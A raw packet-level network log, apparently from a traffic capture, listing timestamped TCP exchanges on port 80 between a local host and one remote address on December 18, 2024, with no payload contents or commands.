Dec 18, 2024 11:09:12.458014965 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.458080053 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.458120108 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.459219933 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.459256887 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.459290981 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.459326029 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.460480928 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.460525990 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.460592031 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.460638046 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.461836100 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.461879015 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.462003946 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.462040901 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.463758945 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.463802099 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.463809967 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.463850021 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.464694977 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.464736938 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.464907885 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.464946985 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.465720892 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.465761900 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.465817928 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.465853930 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.467005968 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.467046022 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.467082977 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.467120886 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.468292952 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.468332052 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.468422890 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.468457937 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.469592094 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.469630957 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.469681978 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.469716072 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.471016884 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.471059084 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.471069098 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.471107960 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.472393036 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.472430944 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.472440004 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.472464085 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.473563910 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.473593950 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.473604918 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.473628044 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.474844933 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.474885941 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.474971056 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.475008011 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.476094961 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.476134062 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.597485065 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.597554922 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.597611904 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.597636938 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.598151922 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.598200083 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.598361015 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.598404884 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.599689960 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.599726915 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.599737883 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.599776030 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.600605011 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.600655079 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.600724936 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.600771904 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.601303101 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.601350069 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.601375103 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.601416111 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.602046013 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.602093935 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.602122068 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.602165937 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.602607012 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.602652073 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.602659941 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.602704048 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.603349924 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.603395939 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.603413105 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.603456974 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.604218006 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.604264021 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.604338884 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.604383945 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.605364084 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.605411053 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.605473995 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.605523109 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.606384993 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.606431007 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.606440067 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.606482029 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.607500076 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.607551098 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.607574940 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.607620955 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.608525991 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.608572960 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.608602047 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.608649015 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.609577894 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.609625101 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.609700918 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.609746933 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.610595942 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.610644102 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.610723019 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.610769033 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.611686945 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.611733913 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.611845016 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.611890078 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.612767935 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.612818956 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.612942934 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.612986088 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.613866091 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.613914967 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.613998890 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.614044905 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.615031004 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.615067005 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.615082979 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.615109921 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.615971088 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.616020918 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.616101027 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.616144896 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.617050886 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.617098093 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.617229939 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.617275953 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.618133068 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.618181944 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.618283033 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.618329048 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.619168997 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.619216919 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.619307041 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.619353056 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.620316029 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.620373964 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.620388985 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.620434046 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.621320009 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.621371984 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.621452093 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.621499062 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.622397900 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.622463942 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.622534037 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.622581959 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.626117945 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.626163960 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.626174927 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.626202106 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.626205921 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.626239061 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.626243114 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.626276016 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.626689911 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.626739979 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.626770020 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.626815081 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.627502918 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.627553940 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.627655029 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.627701998 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.628703117 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.628755093 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.628865957 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.628911972 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.629772902 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.629811049 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.629826069 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.629853010 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.630628109 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.630676985 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.630894899 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.630944014 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.631757975 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.631798983 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.631810904 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.631839991 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.632103920 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.632149935 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.632199049 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.632244110 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.633622885 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.633681059 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.634502888 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.634556055 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.635683060 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.635736942 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.635749102 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.635955095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.635979891 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.636003017 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.636111975 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.636151075 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.637200117 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.637248993 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.637391090 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.637429953 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.638225079 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.638269901 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.638274908 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.638312101 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.638561010 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.638602018 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.638724089 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.638765097 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.639482021 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.639525890 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.640151024 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.640191078 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.641865015 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.641921997 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.641997099 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.642036915 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.642183065 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.642198086 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.642224073 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.642255068 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.642913103 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.642965078 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.642988920 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.643028975 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.644937992 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.644992113 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.645051003 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.645093918 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.646037102 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.646053076 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.646084070 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.646107912 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.646661997 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.646707058 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.646841049 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.646878958 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.647934914 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.647952080 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.647981882 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.648000956 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.648997068 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.649012089 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.649040937 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.649060011 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.649914980 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.649954081 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.650085926 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.650122881 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.651052952 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.651094913 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.651173115 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.651210070 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.651247025 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.651413918 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.651432991 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.651458979 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.652331114 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.652369022 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.787383080 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.787477016 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.787486076 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.787518978 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.788011074 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.788057089 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.788196087 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.788234949 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.789072990 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.789104939 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.789109945 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.789140940 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.790144920 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.790186882 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.790237904 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.790277958 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.791161060 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.791203022 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.791338921 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.791378975 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.792215109 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.792259932 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.792412043 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.792450905 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.793278933 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.793322086 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.793417931 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.793457031 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.794337988 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.794378996 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.794471979 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.794512987 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.795402050 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.795447111 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.795486927 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.795528889 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.796490908 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.796531916 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.796631098 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.796669960 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.797609091 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.797651052 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.797712088 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.797751904 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.798602104 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.798645020 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.798688889 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.798728943 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.799695015 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.799736977 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.799779892 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.799819946 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.800735950 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.800777912 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.800858021 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.800895929 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.801800966 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.801841974 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.801899910 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.801939964 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.802864075 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.802906036 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.802968025 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.803005934 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.803944111 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.803981066 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.804049969 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.804086924 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.805069923 CET	80	49877	31.41.244.11	192.168.2.6
